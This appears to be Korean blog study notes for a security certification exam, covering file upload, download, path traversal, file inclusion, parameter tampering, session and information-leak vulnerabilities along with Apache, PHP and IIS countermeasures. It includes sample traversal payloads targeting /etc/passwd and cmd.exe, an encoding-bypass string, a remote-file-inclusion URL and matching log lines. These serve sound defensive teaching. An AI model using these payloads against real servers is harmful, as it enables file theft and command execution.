웹 어플리케이션 취약점 11 ~ 15

파일 업로드 취약점 이어서 진행.

- 파일 업로드 디렉터리에서 서버 사이드 스크립트 파일이 실행되지 않도록 설정하거나, 직접 URL 호출을 차단

ex
* 아파치 설정

<Directory "/var/upload">
     AllowOverride All
</Directory>

httpd.conf의 해당 Directory 섹션의 AllowOverrid 지시자에 FileInfo 또는 ALL을 추가한 후 해당 디렉터리에 액세스 파일 .htaccess을 생성

.htaccess 파일의 내용

<FilesMatch "\.(ph|inc|lib)">
  Order allow,deny           //뒤쪽의 정책이 우선된다
  Deny from all
</FilesMatch>

=> FilesMatch를 이용(정규표현식 패턴 활용)하여 파일 확장자가 *.ph~ *.inc~ *.lib~에 포함되면 무조건 허용하지 않는다

AddType text/html .html .htm .php .php3 .php4 .phtml .phps .in .cgi .pl .shtml .jsp
=> 서버 사이드 스크립트 확장자를 가진 파일들에 대해 text/html로 MIME 타입을 재조정하여 업로드된 서버 사이트 스크립트가 실행되지 않도록 설정

설정해주는 이유 정리
: 파일업로드 취약점으로 인해 악성파일(ex 웹쉘)이 업로드되어 실행되면 침해사고가 발생할 수 있다. 아파치 설정의 httpd.conf 파일의 해당 디렉토리 경로에 AllowOverride All(또는 FileInfo)을 설정하고, 해당 디렉토리에 .htaccess 액세스 파일을 생성한다. .htaccess 파일에는 FileMatch 명령어를 이용해 필터링 할 확장자를 기재(정규식 표현)하고, allow와 deny 정책을 설정한다. 또 AddType 설정을 통해, 서버 사이드 스크립트 파일의 MIME 타입을 text/html로 재조정하여 파일들이 동적으로 실행되지 않도록 한다.

IIS 웹서버의 실행권한 제거 예시
=> 디렉터리 - 실행권한(P) : 없음

업로드 파일에 대한 파일 크기 검증
1. 소스코드 상에서의 파일크기 검증
ex if($upfile_size[$i] > 5000000){ ... }

2. 아파치 서버의 httpd.conf 설정파일에서 해당 디렉터리 섹션의 LimitRequestBody 지시자 이용

<Directory "/var/upload">
     AllowOverride All
     LimitRequestBody 50000000
</Directory>

LimitRequestBody로 요청 메시지 바디부에 데이터를 담아 전달할 수 있는 최대크기를 지정할 수 있다.
0으로 지정할 경우 무한대를 의미하고, 지정한 크기를 초과해 요청하면 413 에러가 뜬다.

취약점 판단기준
: 파일업로드가 가능한 입력폼에 악성 스크립트 파일(웹쉘) 업로드 성공시 취약으로 판단

대응책
1. 파일 타입 및 확장자 검증(화이트리스트) Content-Type 검증, httpd.conf - Directory 명령어내 AllowOverride All 또는 FileInfo, .htaccess 파일내 FileMatch의 "\.(ph|inc|lib)" 정규식을 통한 확장자매칭 등...
2. 업로드 파일 전용 디렉터리를 생성하여 웹서버 설정을 통해 해당 디렉터리내 서버사이드 스크립트 파일이 실행되지 않도록 설정하거나, 직접 URL 호출을 차단하도록 설정 AddType text/html .php ... MIME 재지정
3. 업로드하는 파일의 개수와 크기에 적절하게 제한 설정 Directory 명령어 내 LimitRequestBody 설정

취약점 11 END --

파일 다운로드 취약점
개요
- 파일 다운로드시 파일의 경로와 파일명을 파라미터로 받아 처리하는 경우, 이를 적절히 필터링하지 않으면 파라미터를 조작하여 허용되지 않은 파일을 다운받을 수 있는 취약점
- 공격자는 시스템 환경설정 파일, 소스 코드 파일 등 중요 파일을 다운 받을 수 있다

( 리눅스 상대경로: ./ 현재경로, ../ 상위 디렉터리
윈도우 상대경로: .\ 현재경로, ..\ 상위 디렉터리 )

download.php?number=1&real_filename=20241011.jpg

정상 URL

download.php?number=1&real_filename=../data_file.php
download.php?number=1&real_filename=../../index.php

경로를 조작하여 다운로드 받는 URL

취약점 판단기준
- 파일 다운로드시 파라미터 값을 조작해 서버 파일 다운로드 시도시 성공했을 때
- 웹 루트 상위로 접근 시도에 성공했을 때

대응책
- 다운로드 파일명에 대해 블랙리스트 기반 필터링 적용 (".\", "..\", "../", "./" 등 경로를 이동할 수 있는 문자들)
- 허용하는 경로 이외의 디렉터리와 파일에 접근할 수 없도록 처리한다
- 웹방화벽 등 필터링이 가능한 보안장비를 운영 중이라면 필터링 룰셋(필터링 정책)을 적용

취약점 12 END --

경로 추적Path Traversal 취약점
개요
- 파일 또는 디렉터리 접근이 통제되지 않아 중요한 파일과 데이터에 대한 접근 및 실행이 허용되는 취약점
- 영문 표현시 Directory Traverasl = 경로 조작, 경고 순회 취약점
- 웹 어플리케이션 루트 디렉터리를 벗어나 시스템의 주요 파일과 데이터에 접근할 수 있는 취약점
- 일반적으로 상대경로 참조방식을 사용한다

조작된 접근 경로
?name=../../../../etc/passwd
(1차 인코딩 = ?name=..%2F..%2F..%2F..%2Fetc%2Fpasswd

더블 인코딩 = ?name= ..%252F..%252F..%252F..%252Fetc%252Fpasswd)

주요 인코딩

원본	1차	더블 인코딩
.(dot)	%2e	%252e
/(slash)	%2f	%252f
\(back-slach)	%5c	%255c

(유니코드 인코딩은 u 가 들어감 ex / %u2215)

공격자는 URL 인코딩, 더블 URL 인코딩, 유니코드 인코딩 등 여러가지 방식으로 시도할 수 있다
요청 페이지(서버)에서 파라미터를 어떤 방식으로 디코딩하는지 알 수 없기 때문.

아파치 웹서버 액세스 로그 분석
리눅스 웹서버 디렉토리 구조 예시
/var/www/html/ : 웹 루트 디렉토리. 이 아래로 어플리케이션들 위치함.

192.168.159.1 - - [13/Sep/2024:11:11:12 + 0900] "GET /home/index.php HTTP/1.1" 200 234
| | | | └ 응답 바이트수

( * 200 ok / 404 not found )

리눅스 로그 출력 예시

192.168.159.1  -  -  [13/Sep/2024:11:13:12 + 0900]  "GET /home/download.php?name=../../../etc/passwd HTTP/1.1"  404  234
192.168.159.1  -  -  [13/Sep/2024:11:14:12 + 0900]  "GET /home/download.php?name=../../../../etc/passwd HTTP/1.1"  404  234
192.168.159.1  -  -  [13/Sep/2024:11:15:12 + 0900]  "GET /home/download.php?name=../../../../../etc/passwd HTTP/1.1"  200  5351

192.168.159.1 - - [13/Sep/2024:11:16:12 + 0900] "GET /home/download.php?name=..%2F..%2F..%2F.. %2Fetc %2Fpasswd HTTP/1.1" 200 234

192.168.159.1 - - [13/Sep/2024:11:17:12 + 0900] "GET /home/download.php?name=..%252F..%252F..%252F.. %252Fetc %252Fpasswd HTTP/1.1" 404 234

=> 결과 : 경로 조작을 다양하게 시도하는 과정에서 요청 처리가 실패한 404 상태 코드가 다수 발생했지만, 중간에 200 상태코드가 발생한 것으로 볼 때 /etc/passwd 파일에 접근 성공한 것으로 판단

IIS 웹서버 액세스 로그 분석
디렉터리 구조 예시
C:\inetpub\scripts\             (기본 CGI 디렉터리/서버 요청 처리프로그램 위치)
C:\inetpub\wwwroot\          (기본 설정 웹 루트 디렉터리)
C:\winnt\system\cmd.exe   (cmd 커맨드 프로그램 위치)

윈도우 로그 예시

192.168.159.1  -  -  [13/Sep/2024:11:13:12 + 0900]  "GET /scripts/..\..\winnt/system32/cmd.exe?/c+dir HTTP/1.1"  404  99
192.168.159.1  -  -  [13/Sep/2024:11:13:12 + 0900]  "GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+dir HTTP/1.1"  404  99
192.168.159.1  -  -  [13/Sep/2024:11:13:12 + 0900]  "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir HTTP/1.1"  404  98
192.168.159.1  -  -  [13/Sep/2024:11:13:12 + 0900]  "GET /scripts/..%u2215..%u2215winnt/system32/cmd.exe?/c+dir HTTP/1.1"  404  97

=> cgi를 호출하는 척 scripts 위치에서 두 번 상위 디렉터리로 올라간 다음, cmd 루트로 들어가 호출. 마지막까지 404 응답을 주고 있으므로 공격은 실패로 판단

취약한 대응책
- 입력값에 경로 조작 문자(../)가 포함된 경우 빈 문자로 필터링 (단순히 빈문자로 필터링할 경우 우회시도 가능)

공격자의 경로 치환 우회 시도
: name?=....//....//....//....//etc/passwd => 치환된 후 name?=../../../../../etc/passwd 가 된다

취약점 판단기준
- 웹 루트 디렉터리보다 상위 디렉터리로 접근 시도하여 접근이 가능하거나, 실행 성공했을 때

대응책
- 사용자가 임의로 접근할 수 있는 최상위 디렉터리를 웹 루트 디렉터리로 설정하여 웹 서버의 시스템 루트 디렉터리에 접근하지 못하도록 제한
ex 유닉스/리눅스 시스템의 chroot 기능. 가상의 root 디렉터리로 만들어 시스템 루트 디렉터리에 대한 접근을 차단
ex 윈도우 시스템의 경우 새 논리 드라이브 E:\ 를 만들고 해당 드라이브를 웹 어플리케이션 루트 디렉터리로 설정
- 사용자 입력값에 대해 경로를 조작할 수 있는 문자를 필터링하도록 소스 파일을 작성하고, 보안장비의 경우 가능하면 필터링 룰셋(정책)을 적용

(암기

. %2e %252e

/ %2F %252F %u2215

\ %5c %255c )

취약점 13 END --

파일 삽입 File Inclusion 취약점
개요
- 공격자가 악성 서버 스크립트를 서버에 전달하여, 해당 페이지를 통해 악성 코드가 실행되도록 하는 취약점
- 악성 스크립트 파일의 위치가 로컬서버인 경우 LFI, 원격지인 경우 RFI로 분류

취약한 사이트
- 외부로부터 입력받은 파라미터를 이용해 include 수행 (require 함수도 비슷한 기능)
(include 함수는 지정한 파일을 현재 페이지에 포함시켜 실행해주는 함수)

run.php?fileName=../localFile.php

(..%2FlocalFile.php)

로컬 악성 서버 스크립트 LFI

run.php?fileName=http://192.168.199.44/remoteFile.php

(http%3A%2F%2F192.168.199.44%2FremoteFile.php)

원격지 악성 서버 스크립트 RFI

대응책
1) 소스코드에 include, require 등의 구문/함수가 존재하는지 검증. php.ini 설정을 통한 원격 파일 접근 제한. include, require 등의 함수를 이용했을 때 외부파일을 URL 형식으로 읽어올 수 있도록 해주는 기능이므로, 허용하지 않는 것을 권장
ex
allow_url_fopen = Off

에러예시

Warning: include(url 경로) [function.include]: failed to open stream: no suitable wrapper could be found in ... 하략

단 에러페이지가 그대로 노출되면 공격자에게 또 다른 정보가 될 수 있으므로,
php.ini파일의 display_errors=Off로 설정한다.

URL/파라미터 변조 취약점
개요
- 실행경로에 대해 접근제어를 검사하지 않거나 불완전하게 구현하여 공격자가 URL/파라미터 값을 조작해 중요정보에 접근 가능해지는 취약점
- SQL 인젝션, 크로스 사이트 스크립트 등 공격에 활용될 수 있다

POST 방식의 id 파라미터 변조
- 정보수정 페이지에서 정상 로그인 계정user1에서 관리자계정admin으로 변조 시도를 할 수 있다(?id=user1 -> ?id=admin)

취약점 판단기준
- URL/파라미터를 조작해 일시적 권한 상승 또는 정보 유출이 될 경우 취약점으로 판단

대응책
- 서버측 Session 정보를 이용하여 사용자 로그인 후 id 정보를 해당 세션에 저장, 이를 참조하여 중요한 페이지를 보여준다.
- GET/POST 방식의 평문 파라미터 전달 방식은 손쉽게 노출 및 변조가 되므로 적절한 검증절차, 서버세션의 활용 등을 고려

- 사용자가 변경할 수 있는 데이터의 노출을 최소화

취약점 14 END --

불충분한 세션 관리 취약점
개요
- 사용자가 로그인을 할 경우 매번 동일한 세션 ID를 발급(또는 동일한 패턴의 세션ID)하거나, 세션 타임아웃을 너무 길게 설정했을 경우, 공격자가 타인의 세션을 재사용해 권한을 탈취할 수 있는 취약점

(idle상태 : 아무것도 하지 않는 상태. 해당 상태로 세션 타임아웃 시간이 경과하면 세션이 만료됨)

- 탈취한 세션 id를 이용하여 다른 브라우저에서 타계정 세션을 가로채는 것 (= HTTP 세션 하이재킹)

PHP 설정파일 php.ini 보안설정
1) session.gc_maxlifetime = 600 (초단위, 10분) // 세션 타임아웃 설정
2) httponly 속성 쿠키 session.cookie_httponly = 1 (또는 True) // 세션 쿠키는 http, https 전송시에만 사용되고, 클라이언트에서 참조가 불가능해진다.

(응답 헤더의
Set-Cookie 헤더에 PHPSESSIN=값; 어쩌구값; HttpOnly )

3) secure 속성 설정. session.cookie_secure = 1 (또는 True) // 세션쿠키는 (SSL/TLS)https 통신시에만 전송

(응답 헤더의
Set-Cookie 헤더에 PHPSESSIN=값; 어쩌구값; secure; HttpOnly )

취약점 판단기준
- 세션값을 변조하여 로그인 시도 성공시
- 로그인과 로그아웃을 반복해 수집된 세션 id의 패턴분석을 통해 타 사용자 로그인 성공시

대응책
- 세션 id는 로그인 시마다 추측할 수 없는 임의의 랜덤한 값으로 새롭게 발급
- 세션 타임아웃은 일반적으로 10-30분 사이로 적절하게 설정하고 요청이 없을 경우 자동 로그아웃 되도록 구현

정보누출 취약점
개요
- 민감한 정보가 개발자의 부주의로 노출되는 것. 중요정보를 주석구문에 포함시켜 노출되거나, 에러페이지/메시지를 통해 불필요한 정보가 노출되는 취약점
- 공격자에게 공격하기 전의 사전 정보를 수집하는 과정에서 공격의 실마리를 제공해주는 역할

취약점
1) 디폴트 에러 페이지에 의한 웹서버 정보 노출
- ex Not Found Apache Server at 192.168.11.1 Port 80 (아파치 서버를 사용한다는 정보 습득)
2) 에러 메시지에 의한 웹서버 정보 노출
- 프로그램 실행 중 발생하는 Error나 Warning 메시지를 그대로 출력할 경우
ex Warning: mysql_num_row() : supplied argument is not a valid MySQL result resource ... 중략 test.php on line 40

(mysql 사용, 에러가 난 라인수까지 노출되는 등)

대응책
1) 아파치웹서버 httpd.conf 설정
ErrorDocument 403 /common/error/error_403_page.php
ErrorDocument 404 /common/error/error_404_page.php

2) PHP 환경의 php.ini 설정
display_errors = Off

취약점 15 END --

저작자표시 비영리 변경금지

'(실기) 정보보안기사&산업기사' 카테고리의 다른 글

웹 서버 취약점 3 (httpd.conf 주요설정 암기) (0)	2024.04.01
웹 어플리케이션 취약점 16~18, 웹서버 취약점 1,2 (0)	2024.03.31
웹 어플리케이션 취약점 7 ~ 10 (0)	2024.03.29
웹 어플리케이션 취약점 3~6 (0)	2024.03.28
어플리케이션 기본학습 7~9, 웹 어플리케이션 취약점 1,2 (0)	2024.03.27

아이티집

웹 어플리케이션 취약점 11 ~ 15

'(실기) 정보보안기사&산업기사' 카테고리의 다른 글

티스토리툴바

웹 어플리케이션 취약점 11 ~ 15

'(실기) 정보보안기사&산업기사' 카테고리의 다른 글

관련글

티스토리툴바